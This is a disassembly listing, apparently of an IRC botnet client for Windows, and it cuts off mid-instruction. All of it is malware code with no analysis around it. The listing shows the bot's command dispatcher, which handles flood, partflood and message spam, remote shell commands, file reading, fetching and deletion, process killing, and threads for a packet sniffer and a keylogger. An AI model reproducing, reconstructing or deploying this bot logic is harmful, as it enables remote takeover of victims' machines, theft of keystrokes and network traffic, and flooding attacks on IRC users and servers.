push 10h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push eax lea eax, [ebp+var_2C4] push offset unk_42B9E4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B3BA add esp, 18h mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset byte_40BB65 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_404BA0 loc_404B8A: ; CODE XREF: sub_401ACD+30D1j cmp [ebp+var_13E0], ebx jnz loc_4081AD push 32h nop call near ptr 2670E97h jmp short loc_404B8A ; --------------------------------------------------------------------------- loc_404BA0: ; CODE XREF: sub_401ACD+30BBj call near ptr 2680972h nop push eax push offset unk_42B9A4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj push [ebp+arg_8] push offset aReconnect_in ; "reconnect.in" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aRin ; "rin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aRinms ; "rinms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4057B7 nop call near ptr 269083Ah push eax call sub_41C2B8 push edi push offset aLoad ; "load" call sub_41CA50 add esp, 0Ch test eax, eax jnz short loc_404CB7 cmp [ebp+esi+var_80], ebx jz short loc_404CB7 push [ebp+esi+var_80] call sub_41C159 pop ecx push eax push [ebp+esi+var_84] call sub_41C159 pop ecx push eax push [ebp+esi+var_88] call sub_417E06 add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B93C push eax call sub_41C266 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CB7 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_404CB7: ; CODE XREF: sub_401ACD+3173j ; sub_401ACD+3179j ... push edi push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D21 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D21 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_47F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_47F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D21: ; CODE XREF: sub_401ACD+31F9j ; sub_401ACD+3204j push edi push offset dword_42B920 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D8B mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D8B push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4AF4] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B90C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D8B: ; CODE XREF: sub_401ACD+3263j ; sub_401ACD+326Ej push edi push offset aNt ; "nt" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404DF5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DF5 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_48F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404DF5: ; CODE XREF: sub_401ACD+32CDj ; sub_401ACD+32D8j push edi push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E5F mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E5F push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4FF8] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404E5F: ; CODE XREF: sub_401ACD+3337j ; sub_401ACD+3342j push edi push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E9C mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404E9C push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404E9C: ; CODE XREF: sub_401ACD+33A1j ; sub_401ACD+33ACj push edi push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404ED9 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404ED9 push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404ED9: ; CODE XREF: sub_401ACD+33DEj ; sub_401ACD+33E9j push edi push offset aPartflood ; "partflood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F1B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F1B push offset dword_427620 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404F1B: ; CODE XREF: sub_401ACD+341Bj ; sub_401ACD+3426j push edi push offset aPnick ; "pnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F92 cmp [ebp+esi+var_88], ebx jz short loc_404F92 nop call near ptr 269083Ah push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+var_88] push offset dword_42B89C push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_17B8] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404F92: ; CODE XREF: sub_401ACD+345Dj ; sub_401ACD+3466j push edi push offset dword_42B888 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4050E9 cmp [ebp+esi+var_88], ebx jz loc_4050E9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427620 push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2670E97h push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2670E97h push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 0C8h idiv ecx push edx nop call near ptr 2670E97h push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4050E9: ; CODE XREF: sub_401ACD+34D4j ; sub_401ACD+34E1j push edi push offset dword_42B884 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405181 cmp [ebp+esi+var_88], ebx jz short loc_405181 nop call near ptr 269083Ah push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B85C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 24h loc_405181: ; CODE XREF: sub_401ACD+362Bj ; sub_401ACD+3638j push edi push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405289 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405289 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F lea eax, [ebp+var_4BC] push eax call sub_417E84 add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2670E97h lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 1F4h idiv ecx push edx nop call near ptr 2670E97h lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_405289: ; CODE XREF: sub_401ACD+36C3j ; sub_401ACD+36D2j push edi push offset aChgnick ; "chgnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4052CE lea eax, [ebp+var_180C] push eax call sub_417E84 pop ecx lea eax, [ebp+var_180C] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4052CE: ; CODE XREF: sub_401ACD+37CBj push edi push offset aMsg ; "msg" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4053C3 cmp [ebp+esi+var_88], ebx jz loc_4053C3 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx call near ptr 2670E97h nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2670E97h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4053C3: ; CODE XREF: sub_401ACD+3810j ; sub_401ACD+381Dj push edi push offset aNotice_0 ; "notice" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4054B8 cmp [ebp+esi+var_88], ebx jz loc_4054B8 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx call near ptr 2670E97h nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2670E97h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4054B8: ; CODE XREF: sub_401ACD+3905j ; sub_401ACD+3912j push edi push offset aCtcp ; "ctcp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4055D9 cmp [ebp+esi+var_88], ebx jz loc_4055D9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2670E97h push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7FC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2670E97h push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 2670E97h nop push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4055D9: ; CODE XREF: sub_401ACD+39FAj ; sub_401ACD+3A07j push edi push offset aMix ; "mix" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405709 cmp [ebp+esi+var_88], ebx jz loc_405709 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2670E97h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 2670E97h nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2670E97h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_405709: ; CODE XREF: sub_401ACD+3B1Bj ; sub_401ACD+3B28j push edi push offset aRegister ; "register" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40574D mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40574D push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj ; sub_401ACD+3C56j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40619B mov [ebp+arg_18], offset dword_4D4A5C loc_405769: ; CODE XREF: sub_401ACD+3CC0j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40577F mov eax, [eax] cmp eax, ebx jbe short loc_40577F push eax call dword_4CBA6C loc_40577F: ; CODE XREF: sub_401ACD+3CA3j ; sub_401ACD+3CA9j add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4DB17C jl short loc_405769 cmp [ebp+var_8], ebx jnz loc_40619B push ebx push [ebp+var_4] push offset unk_42B784 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_40619B ; --------------------------------------------------------------------------- loc_4057B7: ; CODE XREF: sub_401ACD+3151j push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aN ; "n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aJ ; "j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aPt ; "pt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aRaw ; "raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_q ; "c_q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aPr ; "pr" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aOpen ; "open" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aO ; "o" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aServer ; "server" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aSe ; "se" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aDns ; "dns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aDn ; "dn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKp ; "kp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKill ; "kill" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aKi ; "ki" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aDel ; "del" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aGet ; "get" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aGt ; "gt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aList ; "list" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aLi ; "li" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aVisit ; "visit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aV ; "v" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aMirc ; "mirc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aCmd ; "cmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aCm ; "cm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aRf ; "rf" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aPsniff ; "psniff" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C9F push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C67 push 20h call sub_40B602 test eax, eax pop ecx jle short loc_405B91 push offset dword_42B68C jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405B91: ; CODE XREF: sub_401ACD+40B8j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405BD3 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405BD3 mov esi, [ebp+var_88] loc_405BD3: ; CODE XREF: sub_401ACD+40E8j ; sub_401ACD+40FEj push esi lea eax, [ebp+var_F58] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B65C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B3BA add esp, 14h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset byte_412B61 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405C56 loc_405C40: ; CODE XREF: sub_401ACD+4187j cmp [ebp+var_ECC], ebx jnz loc_4081AD push 32h call near ptr 2670E97h nop jmp short loc_405C40 ; --------------------------------------------------------------------------- loc_405C56: ; CODE XREF: sub_401ACD+4171j nop call near ptr 2680972h push eax push offset dword_42B620 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C67: ; CODE XREF: sub_401ACD+40A8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 20h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405C95 push eax push offset dword_42B5E4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C95: ; CODE XREF: sub_401ACD+41BBj push offset dword_42B5B8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405C9F: ; CODE XREF: sub_401ACD+4093j push [ebp+arg_8] push offset aSniffer ; "sniffer" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DEF push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DB7 push 21h call sub_40B602 test eax, eax pop ecx jle short loc_405CE1 push offset unk_42B590 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405CE1: ; CODE XREF: sub_401ACD+4208j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405D23 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405D23 mov esi, [ebp+var_88] loc_405D23: ; CODE XREF: sub_401ACD+4238j ; sub_401ACD+424Ej push esi lea eax, [ebp+var_EC4] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B564 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B3BA add esp, 14h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_4131EC push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405DA6 loc_405D90: ; CODE XREF: sub_401ACD+42D7j cmp [ebp+var_E38], ebx jnz loc_4081AD push 32h nop call near ptr 2670E97h jmp short loc_405D90 ; --------------------------------------------------------------------------- loc_405DA6: ; CODE XREF: sub_401ACD+42C1j nop call near ptr 2680972h push eax push offset unk_42B528 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DB7: ; CODE XREF: sub_401ACD+41F8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 21h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405DE5 push eax push offset unk_42B4EC jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DE5: ; CODE XREF: sub_401ACD+430Bj push offset unk_42B4C0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405DEF: ; CODE XREF: sub_401ACD+41E3j push [ebp+arg_8] push offset aIdent ; "ident" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405EC2 push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405E8A push 2 call sub_40B602 test eax, eax pop ecx jle short loc_405E2D push offset dword_42B498 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405E2D: ; CODE XREF: sub_401ACD+4354j lea eax, [ebp+var_2C4] push offset dword_42B46C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_410BFD push ebx push ebx call near ptr 2680000h nop imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz loc_4081AD nop call near ptr 2680972h push eax push offset dword_42B438 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405E8A: ; CODE XREF: sub_401ACD+4348j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 2 call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405EB8 push eax push offset dword_42B400 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405EB8: ; CODE XREF: sub_401ACD+43DEj push offset dword_42B3E0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405EC2: ; CODE XREF: sub_401ACD+4333j push [ebp+arg_8] push offset aKeyloger ; "keyloger" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aNet ; "net" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40616D cmp dword_4CBAA4, ebx jz short loc_405F4F cmp dword_4CBACC, ebx jz short loc_405F4F push offset unk_42B388 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405F4F: ; CODE XREF: sub_401ACD+446Ej ; sub_401ACD+4476j cmp [ebp+var_C], ebx jz loc_406BFE mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F77 push eax push [ebp+var_C] call sub_41C2E0 pop ecx mov [ebp+arg_0], eax pop ecx loc_405F77: ; CODE XREF: sub_401ACD+449Aj push edi push offset aStart ; "start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FC3 cmp [ebp+arg_18], ebx jz short loc_405F97 push [ebp+arg_0] push 3 jmp loc_406021 ; --------------------------------------------------------------------------- loc_405F97: ; CODE XREF: sub_401ACD+44BEj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418EA8 add esp, 0Ch test eax, eax jz short loc_405FB9 push offset unk_42B35C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FB9: ; CODE XREF: 